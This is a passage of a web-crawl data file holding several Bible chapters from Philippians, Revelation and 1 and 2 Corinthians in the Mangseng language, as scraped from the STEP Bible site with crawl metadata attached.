leventaba di vavang mi luruptuvuk atdi i nunuan. 16 Di lox i mi labalamu, atla diklen i do ne Moroa ga raba ia mi lugugu ri vaase pe Lagale Lavavang. 17 Nedi nom luvuttadi di paase asu ne Karisito, di vara i do dina lox asilok levenasen atdi. Di doxoma i do dina lox aurut gamasa levesongsongot mavana rak atla nia a nemen at loxokoxo. 18 Nia xopmen ana doxoma solo i nom. A momo mun dola at leventaangas axap dina vavang mi ne Karisito; keke i do lavavara atdi xopmen nak mokso.\n19 La a lok momo bok mila aklen i do at levesingising atnimi la loklok tooro at Loroonan Kaala at ne Iesu Karisito, dinaba soxomus asu ia basinge na loogu xokoxo. 20 Lavavara axap at labalak do nenia a noxo subu basinge lugugu rak la ana lok mamangan, ketla at levenaleng axap nia anoxo marat tangarang kaka teta xusu limixin dinaba ven kisip ne Karisito keneng at lorooro rak do nenia move ana rooro xopla at loxonaleng do nenia ara met pam. 21 Lavanga salai lorooro? Tia ne Karisito mun. Do nia ana met, naba lox avukat aleng. 22 Dola lorooro rak nak lox abao, nenia ba lok tevengugu nunuan. Kerepmo la nia axoklen i dola ua langas nenia aba soxolik ka i. 23 Lodoxoma rak i ekarakat ti legepu nep. A vara aleng i do ana on basinge na lorooro la ana nemen buru mi ne Karisito, no mi lox avukat tinotno. 24 Ketla i epovo rinotno bok do nenia aba nemen kusu ri lok tooro nimi. 25 Aklen tinotno i la a xasep do aba nemen. Nenia aba nemen eburu minemi axap, ti lox asilok lususu at lunuunu atnimi, la kusu lomomo na silok keneng at lorooro atnimi. 26 Kuren la do nia ana nemen buru bok minemi, anaba lok nimi xusu lomomo atnimi naba susu aleng keneng at laasen at ne Iesu Karisito.\n27 Nemen mita doxoma solo ri lavanga salai mo naba vot saparav ia, ketla luruptuvuk atnemi na epovo mi Lagale Lavavang at ne Karisito. Kuren la do nia ana vot pasa bok nimi kopla a noxo vot, aba ronga ba i do mi tu lolos mi legese belen la legesedoxoma, la mit kis eburu ngan legesara kusu mina esep lolos ti lunuunu mumu Lagale Lavavang. 28 Nemen mita marat atnedi di munepen minimi; amisik mina belemes, la nom lurutu lolos atnimi naba lok ngan loklok katling tidi do nedi dinaba seeve la nemi miba ruuna ka lorooro avolo, mo ne Moroa xa naba raba nimi min. 29 Moroa ga raba nimi mi lugugu at ne Karisito, kopmen do at lunuunu xusuk ketla minaba ekip tangarang bok mi losongsongot. 30 Nedik ta nemen ap mo leesep. Nom mun leesep miga reven ia aga esep teren migomgo, la miga ronga i do nia move a vesep tin at lorooro rak.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Phili.1","date":"2018-10-18T04:01:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511642.47\/warc\/CC-MAIN-20181018022028-20181018043528-00478.warc.gz","language":"mmx","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999927282333374}","num_words":1111,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.251,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 5\nLanasip Ga Lok Ka Lugun Linga Boro At Ne Moroa1 Melemu nia aga ven lugun linga ro at lekngen tino ap mo lara gat kis to at loxonin orong. Mo lugun linga ga umsu mi levenmamalagan to melamgo la to bok melemu ren, digam lut avarang i mi lavanuti levelumlut. 2 La nia aga ven laangelo lolos gap kup lolos mi lususue xeretna, 'Nege i epovo do na ba kaxat na levelumlut la na obes na lugun linga?' 3 Ketla kopmen teta ro vana at laxalibet kopla ro xopok at lavatbung menemen kopla de maxopok at lavatkangka gita epovo xusu na obes mo lugun linga la gita us mo levelinga ga nemen keneng teren. 4 La nia agang teng aleng mila kopmen teta gita epovo xusu gita obes i nom lugun linga la ri us mo levelinga. 5 Melemu lara atdi luvuttadi amgomgo ga lok tia, 'Nemen utang teng. Mo laion, ni at libibinat at ne Juda, la livisik li at ne Devit, neni ira but asi vam lavamunepen min, la neni mun i epovo ri sak korop mo lavanuti levelumlut la na obes mo lugun linga.'\n6 La aga ven lara Lanasip ga tu kantubu rinotno at nom loxonin orong, la mo lavanuet levempanga rooro eburu mi loxongkulao amgomgo diga tu kangkan i; Lanasip ga tu, ga ven ngan ta do limixin diga sev amet pam i. Neni ga ruuna lavanuti levengkom la lavanuti levengkatli, nedi leventoonan at ne Moroa, mo ga riki asi di ri lengkot axap at na lavatbung menemen. 7 La mo Lanasip gat pas la ga lok ka mo lugun linga boro at lekngen tino at ne Moroa, mo gat kis at loxonin orong. 8 Neni ga lok ka mo lugun linga, la nom lavanuet levempanga rooro eburu mi nom legepu sangaun mi lavanuet loxongkulao amgomgo diga xis tiktikbu mi lempatgulom atdi ro melamgo at Lanasip. Nedi getgesara digam tebeng lengkon taaleng eburu mi leventingtigon gol mo ga umsu mi levempavaxan una so mavak. Ni ga ru katling levesingising atnedi limixin at ne Moroa. 9 La nom lavanuet levempanga rooro eburu minedi loxongkulao amgomgo diga vixan lara loxompixan maxat, i lok keretna,\n'Nenu u epovo rinotno xusu una lok ka lugun linga la una ba kaxat kepe mo levelumlut teren mila limixin diga sev amer u; ketla uga roo xat amlong la at nom mun lada ram uga un ka amlong limixin ti ne Moroa. Nedi at levenabung mixin axap la boro bok at levempapaase vetpes, la boro bok at lenbantuxu vetpes, la boro bok at larabibinat petpes. 10 La uga lok katling di ngan lavamaasa at Linintoo ram kusu diba lok lugugu at ne Moroa, la dinabam gomgo ri limixin axap at na lavatbung menemen ngan limixin amgomgo atdi.' a\n11 Melemu aga milik la aga ronga buaang nedi laxanangelo, diga umsu aleng la a goxo epovo xusu ana us di. Diga tu kangkan mo loxonin orong eburu mi lavanuet levempanga rooro la loxongkulao amgomgo. 12 La diga vaase silok keretna,\n'Lanasip, no limixin diga sev amer i; neni i epovo rinotno xusu na ruuna ka lololos, lapnovos, lakleklen, loklok ngangao, leemi asu la leveloklox anarong.' b\n13 Melemu aga ronga leemi asu boro at lempanga axap ne Moroa ga rudum li di, nedi limixin eburu mi levempanga mi lavanuet kangkedek atdi, la nedi bok pana at laxalibet la nade xopok at lavatbung menemen la lempanga bok dik lok keneng at lebelen laxangka la lempanga dik lok at lebelen laras; diga lok,\n'Ti mo lara it kis at loxonin orong la ti Lanasip bok, ma raba numu mi leveloklox anarong, loklok ngangao, leemi asu la lololos ba nemen amisik la kopmen taxavaxap teren.' c\n14 La mo lavanuet levempanga rooro diga lok, 'I ruturun.' La mo loxongkulao amgomgo diga xis tiktikbu mi lempatgulom atdi la diga lotu parap ne Moroa eburu mi Lanasip.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.5","date":"2018-10-18T17:04:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511889.43\/warc\/CC-MAIN-20181018152212-20181018173712-00119.warc.gz","language":"mmx","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999991774559021}","num_words":705,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 6\nLanasip Ga Ba Kaxat Kepe Levelumlut At Lugun Linga1 Melemu aga ven Lanasip ga ba kaxat kepe lumlut avot at nom lavanuti levelumlut, la aga ronga lara atnedi lavanuet levempanga rooro ga vaase silok ngan leretepaavat ga lok ti lara, \"Ude u.\" 2 La nia aga milik kaxat la aga ven lavaros bunbun, la mo laradi gat kis teren, neni gam tebeng labanara; la ni ga lok ka lavatbungorong, la ni ga sixit kaxat uto at lengkot axap at na lavatbung menemen ngan ta laradi esep kusu na sev asi lavamunepen teren.\n3 La melemu Lanasip ga ba kaxat kepe manga levelumlut sepsev agepura; la aga ronga lavanga rooro sepsev agepura ga lok ti lara, \"Ude u.\" 4 La lara lavaros manga ga vas su, ga memele aleng. La mo laradi gat kis teren, ga lok ka lololos kusu na lok kepe lumulum kantubu at limixin at na lavatbung menemen, kusu limixin diba esev amet. La neni ga lok ka bok lavarise sepsep i baalom aleng.\n5 La melemu Lanasip ga ba kaxat kepe manga levelumlut sepsev avantun, la aga ronga lavanga rooro sepsev avantun ga lok ti lara, \"Ude u!\" La aga ven lara lavaros ga bibi aleng, la mo laradi gat kis teren gam tebeng lisikel to at lekngen. 6 La aga ronga lavanga ga lok ngan laxaka linga boro xantubu ap mo lavanuet levempanga rooro, ga lok, \"I epovo do una lox aurut luunun at lempanga anan; kuren la legesa buxom piao ni luunun lixilik ti laradi i gugu at leges aleng, la lavantun buxom balirais ni luunun lixilik ti laradi i gugu at leges aleng, ketla nemen uta lok kapmek ladan momonok la laxadan vaen.\"\n7 La Lanasip ga ba kaxat kepe levelumlut sepsev avanuet la aga ronga laxaka linga at lavanga rooro sepsev avanuet ga lok ti lara, \"Ude u.\" 8 La nia aga milik kaxat, la aga ven lara lavaros ga ngangan la mo laradi gat kis teren, laasen teren ne Lanmet; la lara ga mumu ro melemu, laasen teren ne Edesa. La duga lok ka lololos mavana at lenep i sepsev avanuet at limixin axap at na lavatbung menemen, kusu duna sev amet di keneng at levenesep silok; la loroxo la levenanmeres silok la levempanga mi lavanuet kangkedek atdi diba sev amet bok limixin.\n9 La Lanasip ga ba kaxat kepe manga levelumlut sepsev avalimo. La aga ven uto saparap loxonin laplavang la maxopok teren aga ven labaroonan at limixin nuunu diga met gano. Limixin diga sev amet di mila diga tong asu levelinga at ne Moroa la levelinga ruturun at ne Iesu Karisito. 10 Digap kup lolos mi laxaka linga xeretna, \"Moroa lolos aleng, nenu u melemelengan la u ruturun aleng. Lingisa ba uba vaxaru li limixin at lavapaase la una sev amet di ri vorang laniu nema maga ekip tangarang min?\" 11 La nedi getgesara diga lok kaka levesingsigaara bunbun la diga lok ka levelinga do dina ngangais be la dina lok mamas, se limixin dina sep bok tentaba at luvutneton di eburu mi lavasaxaruki xerekngan nedi diga uu. Do luutus at nom limixin na epovo, Moroa naba vorang laniu atnedi axap.\n12 La aga ven Lanasip ga ba kaxat kepe manga levelumlut sepsev avanna. La langne silok ga vot, la laxangking gak maxat ngan lavanga singsiga limixin di lox i mi laxabinim bibi at lavatme; la lagaaling axap kopmen goxo soosoo axasep bok ba, ketla ga soosoo memeles ngan ta lada. 13 La laxampenti boro vana at laxalibet diga subu si ukopok ti lavatbung menemen kerekngan lempeven at luuna pik mo i mada vam, im subu si do lamanman silok it mas i. 14 La lamavangkap ga sonao ngan lugun diga vegun i, la lempatkaana axap eburu mi levesoxan diga vas kaxat uto vetpes.\n15 Melemu lavaorong silok at lavatbung menemen la limixin gomgo la luvuttadi amgomgo at limixin esep, la limixin dip novos la limixin lolos, la nedi bok lavasaxaruki la limixin sepmus bok, diga lipe ro at laratabuang la ro xantubu at lempattavut silok to at larakaana, 16 digap kup ti lempatkaana mi lemparuat keretna, \"Mina subu pavaa nama la mina lox alipe nama basinge mo laradi it kis to at loxonin orong la basinge bok lebelemamao, Lanasip ba lox asu i rinama, 17 mila mo laaleng silok at lebelemamao atdu na nga ira vot pam la ixo epovo xusu tara naba ekini min.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.6","date":"2018-10-18T15:29:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511889.43\/warc\/CC-MAIN-20181018152212-20181018173712-00120.warc.gz","language":"mmx","language_score":0.9999432564,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999432563781738}","num_words":876,"character_repetition_ratio":0.067,"word_repetition_ratio":0.016,"special_characters_ratio":0.21,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 9\nPol Ga Vaase Pe I1 Kereva, nenia laradi sepmus la nenia laradi vavang at ne Moroa? Kereva, nenia aga ven ne Iesu, Leeme Silok atdik? La kereva, nemi livipisik at lugugu rak ngan laradi vavang at Leeme Silok? 2 Lentaba dixo ven kisiv ia do laradi vavang, ketla nemi miga ven kisiv ia. Nemi mit kis etangas mi ne Iesu, la kerepmo i lox asuusu i do nemi loklok katling at lugugu rak ngan laradi vavang at Leeme Silok.\n3 Tinedi di paase mumu ia atla nia axop kip unun at lugugu rak, nia a vaase pe ia xeretna. 4 Kereva, ixok mokso xusu mina raba luxa la kadan ia ri lok tooro ia at lugugu rak? 5 La kereva, i epovo do ana lok kaka tatkin nuunu eburu minia at levempatpas tarak, kerekngan mun lentaba luvuttadi vavang, la luvutneton ne Iesu, la ne Pita dik lox i? 6 Kopla nema xusuk mi ne Banabas mana gugu lolos ti lixitkis atnema?\n7 Mina xasep at na levempapaase poovo. Ixok mokso do taradi esep na gugu at lugugu vetpes ti lok ka luunun tin. La i epovo do laradi lotlo, neni na anan akmokso livipisik at levempanga ni gatlotlo i. La i epovo bok do laradi loklok tatao sipsip na ruuna ka levendan tus at levesipsip teren.\n8 Ana levelinga nia a tong i kopmen mede xopok at na lavatbung menemen. Kereva, Lenavolo xopmen na tong bok na lavapaase? 9 Levelinga keneng at Lenavolo at ne Moses i tong i do, \"Nemen mita velegum pe lungusno at lubulumaxao do i rubur asu levempeven piao.\" Kereva, ne Moroa im doma mumu solo mo lubulumaxao? 10 Kopla neni ga tong i na mumu mun luvuttadi gugu ren? I ruturun tinotno do diga malagan i na levelinga rinama luvuttadi vavang. I lok ngan ta legepu radi duga lok laxantaamang la legesara atdu ga but povorok laxangka la gatlotlo levempanga at nom laraamang la melemu mo laradi vetpes ga vit kaka laxampiao. Nedu eburu duga gugu atla duga doxoma i do duba lok ka tevempipisik avukat ap mo laxantaamang atdu. 11 La kerepmo nema luvuttadi vavang, magatlo li vam levelinga at ne Moroa keneng at lebelen nimi la migara visik pam lempeven una nunuan. Kuren la i lox avukat do nema mana lok ka teveloklok tooro medom atnimi. 12 Leventaba luvuttadi vavang petpes diga lok ka levempilas la levempanga anan dom atnimi la i lox avukat kuren. Ga epovo bok do nemi gita lok tooro nama kerepmo, atla maga rupot avot tidi la maga tong asu levelinga at ne Moroa rinimi.\nKetla ma goxo sing panga nimi. Maga gugu lolos aleng ti lok tooro lixitkis atnama. Lavasuun teren keretna. Maga xopara i do teventaba atnimi dina lox abulubun kepe Lagale Lavavang at ne Iesu Karisito mumu levempilas ti luvuttadi vavang. 13 Ketla miklen i do luvuttadi di gugu ro xeneng at loogu laplavang at ne Moroa, di lok ka levempanga anan tidi boro ap mo levempanga limixin dim taba min ti ne Moroa. La do limixin diplavang mi leveluxa lomlomon to at loxonin laplavang, luvuttadi gugu di lok ka bok levengkot ap mo leveluxa diplavang min tidi ri anan. 14 La kerepmo bok Leeme Silok ga tong i rinama do nedi di vavang mi Lagale Lavavang, diba lok ka luunun tidi at Lagale Lavavang kusu naba epovo at lixitkis atnedi.\n15 Ketla nia a goxo mu asu i na langas kusu ana sing panga nimi; la kopmen ana malagan i na xusu minaba mu asu na langas la mina lok tooro ia. Kopmen teta goxo lok tooro ia la a doxoma i do anak lok mun kuren la keke leveloklok tooro. La kopmen tara noxo lok kun na lodoxoma rak do nia noxop kip unun at lugugu rak, se nia anaba met. 16 Nia a vavang mi Lagale Lavavang, ketla ixok mokso ria xusu ana xip aurut laasen tarak, mila Leeme Silok gara vaxaxip pam ia mi lugugu ren kusu ana lox i. Dola nia a noxo vavang mi Lagale Lavavang, naba lok kapmek aleng tino ria. 17 Dola nia gita lox i na lugugu mi lodoxoma xa rak, i epovo ba do nia ana lok ka luunun; ketla nenia xa goxo lok katling ia ri na lugugu, ne Moroa xa ga nu taba ia min. 18 Lavanga sala nia anaba lok ka i at na lugugu? I lok keretna; dola nia ana vavang mi Lagale Lavavang, nia noxo ro unun at limixin. La kerepmo nenia a noxo siam ka luunun ti na lugugu, keke i do ik mokso do ana lok ka i.\n19 Nenia laradi sepmus mun, ketla nenia a lox ia ngan lasaxaruki at limixin axap kusu anaba lok ka buaang nedi limixin ukeneng, kusu dina nuunu at Lagale Lavavang at ne Iesu. 20 Do ana vavang ti limixin me Judaia, loklok tarak na ngan mun loklok atdi, kusu loklok axa rak noxo lok pe lugugu at ne Moroa xeneng at lorooro atnedi. Nenia xopmen anak lok maxopok at Lenavolo at ne Moses, ketla a lok li ia xuren ap mo levenaleng a tong asu Lagale Lavavang tinedi dik lok maxopok at Lenavolo. Lavasuun teren keretna; diba nuunu at Lagale Lavavang. 21 La kerepmo bok do ana nemen eburu mi limixin kopmen me Judaia, la di nemen maxamang at Lenavolo, loklok tarak na ngan loklok atnedi xusu dina nuunu at ne Karisito. Anai, kopmen lavasuun teren do a ronga xepe Lenavolo at ne Moroa, ketla a nemen tinotno maxopok at lavavara at ne Karisito. 22 Kantubu atnedi lunuunu atdi ixo lolos, ana nemen ngan bok di, kusu aba lok ka bok di la ana lox alolos lunuunu atdi. La kerepmo a lox ia ngan limixin axap, kusu aba sat ka bok tentaba atnedi uto xeneng at Linintoo at ne Moroa. 23 Na levempanga axap a lox i ri lok ka buaang limixin kusu dina nuunu at Lagale Lavavang la kerepmo aba lok ka bok tenep at leveloklox anarong boro at ne Moroa.\n24 Miklen i do keneng at lekampoovo at limixin siksixit, dik sixit kusu ri lok ka luunun, ketla legesara mun atnedi i lok ka luunun. La kerepmo nemi mina lolos at lisiksixit kerepmo xusu miba lok ka luunun. 25 Do limixin di nemen keneng at lekampoovo, di mumu asu leventaangas linga axap; di mu asu i xusu diba lok ka lavatbungorong kopmen na nemen amisik; ketla nema ma mumu asu leventaangas kusu manaba lok kaka lavatbungorong, i ngan luunun naba nemen amisik. 26 Kuren la a lolos ti lox amomo ne Moroa, i ngan laradi siksixit ik sixit epopolo uto at latnese at loxot siksixit. Nenia a lok ngan bok laradi sepsep, kopmen ni na ke xepe gamasa lekngen kusu nat ket polo. 27 Nenia a gugu lolos ti lok kaka limixin uto xeneng at Linintoo la ba lok kapmek do nenia noxo vubeles teren. Kuren la a lox amisik labantuxu rak kusu ana mumu asu leventaangas linga la kerepmo nenia aba epovo bok ti nom luunun mo ne Moroa ba raba limixin nuunu min.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.9","date":"2018-10-20T21:16:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513441.66\/warc\/CC-MAIN-20181020205254-20181020230754-00131.warc.gz","language":"mmx","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999998927116394}","num_words":1303,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 20\nSatan Gak Lok At Loxokoxo1 La nia aga ven lara laangelo ga si boro vana at laxalibet, neni gam tebeng lengki at lemeroon la gam tebeng bok lavaroos sen silok. 2 La mo laangelo ga ranga alis lavattulaava la ga xoxo i kusu na nemen kuren at legesa abin sangsangaun kobot (1000) levenmaares. Mo lavattulaava ga nemen ganoxa, neni ne Devel la laasen bok teren ne Satan. 3 La mo laangelo ga lu arup min ukopok at lemeroon, la ni ga vipe lavatban la gam lut pe avarang lumusaragu ap mo lemeroon. La ne Satan nabak lok go at legesa abin sangsangaun kobot (1000) levenmaares la ap mo levenaleng neni noxo bala arup bok ba limixin at lavatbung menemen se at laxavaxap ap mo levenmaares. Melemu at nom neni naba sepmus at lentaba levenaleng mene.\n4 La nia aga ven lengkonin at lavaorong silok, la nedi limixin digat kis teren, diga ruuna lololos kusu dina ila mumu loklok at limixin. La aga ven bok leventoonan atnedi limixin la limixin petpes diga ra korop lengkaka atdi mila diga tong asu lunuunu atdi keneng at ne Iesu, la diga nuunu bok at levelinga at ne Moroa. At lorooro atdi di goxo lotu parap lavatpanga sio la lavatpoovo vanga ren la di goxo lok ka loklok katling at lavatpanga sio to at lenmang atdi kopla levengkikngen di. Diga roo xat amlong la nedi eburu mi ne Karisito digam gomgo ri limixin at legesa abin sangsangaun kobot (1000) levenmaares. 5 La nedi limixin petpes diga met pam, kopmen di goxo roo xat amlong se at laxavaxap ap mo legesa abin sangsangaun kobot (1000) levenmaares. Anai, ni laxakatu kaxat amlong avot at labarongan. 6 Naba lox avukat aleng tinedi na lavaanat soxolik at ne Moroa, diba nemen ap mo laxakatu kaxat amlong avot. Di noxo suma lanmet sepsev agepura ketla diba lok ka lugugu ngan lavamaasa ri ne Moroa la ri ne Karisito; la nedi eburu mi ne Karisito dibam gomgo ri limixin at legesa abin sangsangaun kobot (1000) levenmaares.\nLanmet At Ne Satan7 Melemu ap mo legesa abin sangsangaun kobot (1000) levenmaares na xap, Moroa naba soxomus asu ne Satan boro at loxokoxo. 8 La ni naba vasu ri bala limixin at lengkot axap at na lavatbung menemen. La nedi lubungmixin me Gok la Magok, Satan naba lok bubua ka di kusu ri leesep, la luutus atdi naba umsu aleng kerekngan laxangkaneng to loxon. 9 Dinabat pas boro at lengkot axap la dinaba rupot to at mo lemenemen silok at ne Moroa i vavara aleng tin, la dinaba ru xangkan i. Ketla laxao naba si boro vana at laxalibet la naba xotos axap di. 10 La mo laradi babala arup, ne Satan, Moroa naba lu arup min uto at lemet kao at lasalpa; mo lemet kao lavatpanga sio eburu mi laradi vapaase alii xaxarang dubak lox e, la go nedi lavantun dinaba ruuna ka losongsongot silok at levenaleng kangking la kanimin la kopmen taxavaxap teren.\nLaaleng Ete Silok11 La nia aga ven langsangan loxonin orong bunbun la mo Laradi gat kis teren; la lavatkangka eburu mi laxalibet duga sixiro basinge i la duga sonao nga. 12 La aga ven nedi diga met pam, limixin silok la limixin gamasa, diga tu ro melamgo at loxonin orong at ne Moroa. Lentaba lempatbuk mo ga repalas. La lara lubuk ap mo levenbuk diga suang i, ni lubuk at lorooro. La ne Moroa ga ila mumu loklok atnedi limixin, la mo leveloklok atdi gak lok ap mo levenbuk. 13 La nedi limixin diga met to at laras la nedi bok limixin diga met la diga nemen to Edesa, la limixin axap diga met, diga tu ro melamgo at ne Moroa la neni ga ila mumu loklok atdi la diga lok ka luunun ga epovo mi leveloklok digara lok pam i. 14 La ne Moroa ga lu arup axap tino nga mi lanmet eburu mi lenep Edesa uto at lemet kao. Mo lemet kao, ni lanmet sepsev agepura. 15 La nedi limixin levenasen atdi goxok lok at lubuk at lorooro, Moroa ga lu arup bok midi uto at lemet kao.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.20","date":"2018-10-16T14:23:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510754.1\/warc\/CC-MAIN-20181016134654-20181016160154-00012.warc.gz","language":"mmx","language_score":0.9999452829,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999452829360962}","num_words":829,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.268,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aJer 9:24\n2 Corinthians 10\nPol Ga Vaase Pe At Lugugu Ren1 Nenia ne Pol; a sing nimi, mi mo loklok mumulus la loklox atnaasan at ne Iesu Karisito. Do nia a nemen eburu minimi, mi lok do nenia ne Pol ak lok mumulus mene; ket do a nemen paxalom basinge nimi, mi lok do nia a paase lolos tinimi. 2 A sing nemi do luruptuvuk atnimi na lox avukat mun kusu at laaleng nenia ana vot pasa nimi, noxo epovo bok ba xusu ana vaase lolos tinimi mi lololos axa rak. I ngan nia a doma i do ana lox asuusu i rinedi leventaba luvuttadi di doma i do nema map tuvuk ngan luvuttadi at na lavatbung menemen. 3 I ruturun do mat pas at na lavatbung menemen, ketla maxo vesep mi levendoxoma mun at limixin at na lavatbung menemen. 4 Levempanga esep atnama ri esep at na lavatbung menemen kopmen mede at na lavatkangka; ketla ni i ruuna lololos boro at ne Moroa la i epovo xusu ri sele utut kepe lengkot kitkis at laradi munepen atdik min. 5 Ma sesele utut kepe leventetere xaxarang la levendoxoma silok i lok petpes ti lakleklen at ne Moroa, la ma baba gili levendoxoma axap at limixin kusu dina ronga res at ne Karisito. 6 La melemu at loxonaleng mira ronga res nunuan axap, maba gagas ba xusu mana lok li tevenmumuat atnedi dik lok kantubu atnemi la ding tonga xepe.\n7 Nemi mi ven mumu levereven at labantuxu at laradi la kopmen mina reven lorooro axap teren. La do tara i doma ruturun i do neni at ne Karisito, i lox avukat do neni na xasep do nema bok at ne Karisito xerekngan i. 8 Nia axo mangan do nia ana lox aru ia mumu lugugu rak ti tong asu Lagale Lavavang, Leeme Silok ga raba nama min. Mo Lagale Lavavang, no Leeme Silok ga raba i xusu ri lox alolos labaroonan atnimi la kopmen ti lok kapmek nimi. 9 Nia a xopara i do mo lodoxoma na ravasu atnimi do nenia aba lox amarat nimi mi lempoang tarak, 10 mila leventaba di lok do, \"Levempoang at ne Pol i lolos la i mumuat aleng. Ket do neni na nemen eburu midik, neni nabasko la levempapaase ren noxo mumuat solo.\" 11 Luvuttadi xerepmo dina xasep nunuan do levempanga salai ma vaase i xeneng at lovoang, kopmen na lok petpes ti levempanga maba lox i at loxonaleng mabak lox eburu minimi.\n12 Maxo lok do mana mii poovo nema ri leventaba la mana ila mumu nema rinedi leventaba di lok do di silok aleng. Ketla di soxovo lorooro atnedi mi leventaba atdi xa, la dira ila mumu nedi ri leventaba atdi 